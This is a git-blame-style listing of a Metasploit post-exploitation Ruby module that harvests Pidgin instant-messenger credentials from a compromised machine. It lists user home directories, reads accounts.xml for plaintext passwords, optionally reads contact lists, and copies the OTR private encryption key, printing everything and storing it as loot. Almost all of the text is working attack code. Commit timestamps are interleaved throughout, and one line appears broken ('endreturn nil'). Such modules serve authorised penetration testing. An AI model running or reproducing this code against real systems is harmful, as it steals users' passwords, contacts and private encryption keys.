2011-03-01 04:02:54 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-03-01 04:02:54 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
2011-03-03 18:32:46 +00:00
|
|
|
require 'msf/core/post/file'
|
2011-11-15 20:19:15 +00:00
|
|
|
require 'msf/core/post/windows/user_profiles'
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
2011-11-15 20:19:15 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
2011-04-27 16:25:15 +00:00
|
|
|
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
|
2011-10-17 03:49:49 +00:00
|
|
|
'Description' => %q{
|
2011-07-28 22:38:51 +00:00
|
|
|
This module will collect credentials from the Pidgin IM client if it is installed.
|
|
|
|
},
|
2011-03-01 04:54:50 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2011-10-17 03:49:49 +00:00
|
|
|
'Author' =>
|
2011-03-01 07:31:26 +00:00
|
|
|
[
|
|
|
|
'bannedit', # post port, added support for shell sessions
|
|
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
|
|
|
|
],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
|
2011-03-01 04:54:50 +00:00
|
|
|
'SessionTypes' => ['shell', 'meterpreter' ]
|
2011-03-01 04:02:54 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
|
2011-03-01 04:54:50 +00:00
|
|
|
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
|
2011-03-01 04:02:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# TODO add support for collecting logs
|
|
|
|
def run
|
2011-11-15 20:19:15 +00:00
|
|
|
paths = []
|
2011-03-01 04:02:54 +00:00
|
|
|
case session.platform
|
|
|
|
when /unix|linux|bsd/
|
|
|
|
@platform = :unix
|
|
|
|
paths = enum_users_unix
|
|
|
|
when /osx/
|
|
|
|
@platform = :osx
|
|
|
|
paths = enum_users_unix
|
|
|
|
when /win/
|
2012-01-30 22:19:17 +00:00
|
|
|
@platform = :win
|
2011-11-15 20:19:15 +00:00
|
|
|
profiles = grab_user_profiles()
|
|
|
|
profiles.each do |user|
|
|
|
|
next if user['AppData'] == nil
|
|
|
|
pdir = check_pidgin(user['AppData'])
|
|
|
|
paths << pdir if pdir
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error "Unsupported platform #{session.platform}"
|
|
|
|
return
|
|
|
|
end
|
2011-12-24 20:39:08 +00:00
|
|
|
if paths.nil? or paths.empty?
|
2011-03-01 04:02:54 +00:00
|
|
|
print_status("No users found with a .purple directory")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
get_pidgin_creds(paths)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def enum_users_unix
|
|
|
|
if @platform == :osx
|
|
|
|
home = "/Users/"
|
|
|
|
else
|
|
|
|
home = "/home/"
|
|
|
|
end
|
|
|
|
|
|
|
|
if got_root?
|
2011-04-18 14:31:01 +00:00
|
|
|
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
|
2011-03-01 04:02:54 +00:00
|
|
|
userdirs << "/root\n"
|
|
|
|
else
|
2011-04-18 14:31:01 +00:00
|
|
|
userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
|
2011-03-01 04:02:54 +00:00
|
|
|
if userdirs =~ /No such file/i
|
2011-10-17 03:49:49 +00:00
|
|
|
return
|
2011-03-01 04:02:54 +00:00
|
|
|
else
|
|
|
|
print_status("Found Pidgin profile for: #{whoami}")
|
2011-10-17 03:49:49 +00:00
|
|
|
return ["#{home}#{whoami}/.purple"]
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
paths = Array.new
|
|
|
|
userdirs.each_line do |dir|
|
|
|
|
dir.chomp!
|
|
|
|
next if dir == "." || dir == ".."
|
|
|
|
|
|
|
|
dir = "#{home}#{dir}" if dir !~ /root/
|
|
|
|
print_status("Checking for Pidgin profile in: #{dir}")
|
|
|
|
|
2011-04-18 14:31:01 +00:00
|
|
|
stat = session.shell_command("ls #{dir}/.purple")
|
2011-03-01 04:02:54 +00:00
|
|
|
next if stat =~ /No such file/i
|
|
|
|
paths << "#{dir}/.purple"
|
|
|
|
end
|
|
|
|
return paths
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def check_pidgin(purpledir)
|
2012-08-07 20:59:01 +00:00
|
|
|
path = ""
|
2011-03-01 04:02:54 +00:00
|
|
|
print_status("Checking for Pidgin profile in: #{purpledir}")
|
|
|
|
session.fs.dir.foreach(purpledir) do |dir|
|
|
|
|
if dir =~ /\.purple/
|
2012-01-30 22:19:17 +00:00
|
|
|
if @platform == :win
|
|
|
|
print_status("Found #{purpledir}\\#{dir}")
|
|
|
|
path = "#{purpledir}\\#{dir}"
|
|
|
|
else
|
|
|
|
print_status("Found #{purpledir}/#{dir}")
|
|
|
|
path = "#{purpledir}/#{dir}"
|
|
|
|
end
|
|
|
|
return path
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
return nil
|
2012-01-30 22:19:17 +00:00
|
|
|
endreturn nil
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_pidgin_creds(paths)
|
2011-07-28 22:38:51 +00:00
|
|
|
case paths
|
2011-07-20 01:33:57 +00:00
|
|
|
when /#{@user}\\(.*)\\/
|
|
|
|
sys_user = $1
|
|
|
|
when /home\/(.*)\//
|
|
|
|
sys_user = $1
|
|
|
|
end
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
data = ""
|
|
|
|
credentials = Rex::Ui::Text::Table.new(
|
2011-03-01 05:02:33 +00:00
|
|
|
'Header' => "Pidgin Credentials",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
2011-03-01 04:02:54 +00:00
|
|
|
[
|
2011-07-20 01:33:57 +00:00
|
|
|
"System User",
|
2011-03-01 04:02:54 +00:00
|
|
|
"Username",
|
|
|
|
"Password",
|
|
|
|
"Protocol",
|
|
|
|
"Server",
|
|
|
|
"Port"
|
|
|
|
])
|
|
|
|
|
|
|
|
buddylists = Rex::Ui::Text::Table.new(
|
2011-03-01 05:02:33 +00:00
|
|
|
'Header' => "Pidgin Contact List",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
2011-03-01 04:02:54 +00:00
|
|
|
[
|
2011-07-20 01:33:57 +00:00
|
|
|
"System User",
|
2011-03-01 04:02:54 +00:00
|
|
|
"Buddy Name",
|
|
|
|
"Alias",
|
|
|
|
"Protocol",
|
|
|
|
"Account"
|
|
|
|
])
|
|
|
|
|
|
|
|
paths.each do |path|
|
|
|
|
print_status("Reading accounts.xml file from #{path}")
|
|
|
|
if session.type == "shell"
|
|
|
|
type = :shell
|
2011-04-18 14:31:01 +00:00
|
|
|
data = session.shell_command("cat #{path}/accounts.xml")
|
2011-03-01 04:02:54 +00:00
|
|
|
else
|
|
|
|
type = :meterp
|
|
|
|
accounts = session.fs.file.new("#{path}\\accounts.xml", "rb")
|
|
|
|
until accounts.eof?
|
|
|
|
data << accounts.read
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
creds = parse_accounts(data)
|
|
|
|
|
|
|
|
if datastore['CONTACTS']
|
|
|
|
blist = ""
|
|
|
|
case type
|
|
|
|
when :shell
|
2011-04-18 14:31:01 +00:00
|
|
|
blist = session.shell_command("cat #{path}/blist.xml")
|
2011-03-01 04:02:54 +00:00
|
|
|
when :meterp
|
|
|
|
buddyxml = session.fs.file.new("#{path}/blist.xml", "rb")
|
|
|
|
until buddyxml.eof?
|
|
|
|
blist << buddyxml.read
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
buddies = parse_buddies(blist)
|
|
|
|
end
|
|
|
|
|
|
|
|
creds.each do |cred|
|
2011-07-20 01:33:57 +00:00
|
|
|
credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if buddies
|
|
|
|
buddies.each do |buddy|
|
2011-07-20 01:33:57 +00:00
|
|
|
buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-05-01 22:36:20 +00:00
|
|
|
#Grab otr.private_key
|
|
|
|
otr_key = ""
|
|
|
|
if session.type == "shell"
|
|
|
|
otr_key = session.shell_command("cat #{path}/otr.private_key")
|
|
|
|
else
|
2011-07-28 22:38:51 +00:00
|
|
|
key_file = "#{path}/otr.private_key"
|
|
|
|
otrkey = session.fs.file.stat(key_file) rescue nil
|
|
|
|
if otrkey
|
|
|
|
f = session.fs.file.new(key_file, "rb")
|
|
|
|
until f.eof?
|
|
|
|
otr_key << f.read
|
|
|
|
end
|
|
|
|
else
|
|
|
|
otr_key = "No such file"
|
2011-05-01 22:36:20 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if otr_key !~ /No such file/
|
|
|
|
print_status("OTR Key: #{otr_key.to_s}")
|
|
|
|
store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if datastore['CONTACTS']
|
2011-11-15 20:19:15 +00:00
|
|
|
store_loot("pidgin.contacts", "text/plain", session, buddylists.to_csv, "pidgin_contactlists.txt", "Pidgin Contacts")
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
2011-11-15 20:19:15 +00:00
|
|
|
store_loot("pidgin.creds", "text/plain", session, credentials.to_csv, "pidgin_credentials.txt", "Pidgin Credentials")
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def parse_accounts(data)
|
|
|
|
|
2011-03-01 15:14:49 +00:00
|
|
|
creds = []
|
2011-03-01 04:02:54 +00:00
|
|
|
doc = REXML::Document.new(data).root
|
|
|
|
|
|
|
|
doc.elements.each("account") do |sub|
|
2011-03-01 15:14:49 +00:00
|
|
|
account = {}
|
2011-03-01 04:02:54 +00:00
|
|
|
if sub.elements['password']
|
|
|
|
account['password'] = sub.elements['password'].text
|
|
|
|
else
|
|
|
|
account['password'] = "<unknown>"
|
|
|
|
end
|
|
|
|
|
2011-03-01 15:14:49 +00:00
|
|
|
account['protocol'] = sub.elements['protocol'].text rescue "<unknown>"
|
|
|
|
account['user'] = sub.elements['name'].text rescue "<unknown>"
|
|
|
|
account['server'] = sub.elements['settings'].elements["setting[@name='server']"].text rescue "<unknown>"
|
|
|
|
account['port'] = sub.elements['settings'].elements["setting[@name='port']"].text rescue "<unknown>"
|
2011-03-01 04:02:54 +00:00
|
|
|
creds << account
|
|
|
|
|
|
|
|
print_status("Collected the following credentials:")
|
2011-03-01 15:14:49 +00:00
|
|
|
print_status(" Server: %s:%s" % [account['server'], account['port']])
|
|
|
|
print_status(" Protocol: %s" % account['protocol'])
|
|
|
|
print_status(" Username: %s" % account['user'])
|
|
|
|
print_status(" Password: %s" % account['password'])
|
|
|
|
print_line("")
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
return creds
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_buddies(data)
|
2011-03-01 15:14:49 +00:00
|
|
|
buddies = []
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
doc = REXML::Document.new(data).root
|
|
|
|
doc.elements['blist'].elements.each('group') do |group|
|
|
|
|
group.elements.each('contact') do |bcontact|
|
2011-03-01 15:14:49 +00:00
|
|
|
contact = {}
|
|
|
|
contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
|
|
|
|
contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
|
|
|
|
contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"
|
2011-11-20 01:53:25 +00:00
|
|
|
|
2011-03-01 04:02:54 +00:00
|
|
|
if bcontact.elements['buddy'].elements['alias']
|
|
|
|
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
|
|
|
|
else
|
|
|
|
contact['alias'] = "<unknown>"
|
|
|
|
end
|
|
|
|
|
|
|
|
buddies << contact
|
|
|
|
print_status("Collected the following contacts:")
|
2011-03-01 15:14:49 +00:00
|
|
|
print_status(" Buddy Name: %s" % contact['name'])
|
|
|
|
print_status(" Alias: %s" % contact['alias'])
|
|
|
|
print_status(" Protocol: %s" % contact['protocol'])
|
|
|
|
print_status(" Account: %s" % contact['account'])
|
|
|
|
print_line("")
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|
2011-03-01 04:02:54 +00:00
|
|
|
|
|
|
|
return buddies
|
|
|
|
end
|
|
|
|
|
|
|
|
def got_root?
|
|
|
|
case @platform
|
|
|
|
when :windows
|
|
|
|
if session.sys.config.getuid =~ /SYSTEM/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
else # unix, bsd, linux, osx
|
|
|
|
ret = whoami
|
|
|
|
if ret =~ /root/
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
if @platform == :windows
|
|
|
|
session.fs.file.expand_path("%USERNAME%")
|
|
|
|
else
|
2011-04-18 14:31:01 +00:00
|
|
|
session.shell_command("whoami").chomp
|
2011-03-01 04:02:54 +00:00
|
|
|
end
|
|
|
|
end
|
2011-03-01 15:14:49 +00:00
|
|
|
end
|